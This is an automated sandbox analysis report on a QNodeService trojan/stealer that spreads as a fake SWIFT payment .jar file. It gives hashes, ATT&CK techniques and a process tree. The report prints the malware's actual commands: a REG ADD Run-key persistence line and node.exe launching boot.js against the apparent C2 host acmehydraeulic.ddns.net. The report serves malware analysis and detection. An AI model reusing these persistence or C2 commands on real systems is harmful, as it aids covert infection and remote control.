qnodeservice | e0d72ff290c85484632f91a9ae7de44f3b72e0f4c77bded1b2026f51c2d22f97

General

Target

SWIFT MT103 65800 .jar
Size

74KB
MD5

1c42b39fa5ff0b4d50d099a5e24c8d1b
SHA1

8cd53e0dad4fb4d14f9c7961e60c4f22950d4dd2
SHA256

e0d72ff290c85484632f91a9ae7de44f3b72e0f4c77bded1b2026f51c2d22f97
SHA512

3c2bf03e0351dfcc0d683dd698005d2b0e46d7f34dcb179180c3783a0a831c6372e10d8f50b76352d586fbe057fcd82e4b1eaeb73524751175e484f5f358ca54

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1240	node.exe
3352	node.exe
2672	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\d2a1ce22-cdce-48c4-ae38-31aa0b248d26 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab50-168.dat	js
behavioral2/files/0x000100000001ab50-171.dat	js
behavioral2/files/0x000100000001ab50-175.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	wtfismyip.com
40	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1240	node.exe
1240	node.exe
1240	node.exe
1240	node.exe
3352	node.exe
3352	node.exe
3352	node.exe
3352	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe
2672	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3868 wrote to memory of 2668	3868	java.exe	75
PID 3868 wrote to memory of 2668	3868	java.exe	75
PID 2668 wrote to memory of 1240	2668	javaw.exe	79
PID 2668 wrote to memory of 1240	2668	javaw.exe	79
PID 1240 wrote to memory of 3352	1240	node.exe	81
PID 1240 wrote to memory of 3352	1240	node.exe	81
PID 3352 wrote to memory of 2672	3352	node.exe	82
PID 3352 wrote to memory of 2672	3352	node.exe	82
PID 2672 wrote to memory of 2308	2672	node.exe	84
PID 2672 wrote to memory of 2308	2672	node.exe	84
PID 2308 wrote to memory of 1972	2308	cmd.exe	85
PID 2308 wrote to memory of 1972	2308	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\SWIFT MT103 65800 .jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\a142b49e.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Azpb9E\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3352
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Azpb9E\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2672
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d2a1ce22-cdce-48c4-ae38-31aa0b248d26" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2308
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d2a1ce22-cdce-48c4-ae38-31aa0b248d26" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1240-169-0x000000EEB8D40000-0x000000EEB8D41000-memory.dmp

Filesize
4KB

Download
memory/2672-176-0x00000033F6CC0000-0x00000033F6CC1000-memory.dmp

Filesize
4KB

Download
memory/3352-172-0x000001E0CAC80000-0x000001E0CAC81000-memory.dmp

Filesize
4KB

Download

Analysis

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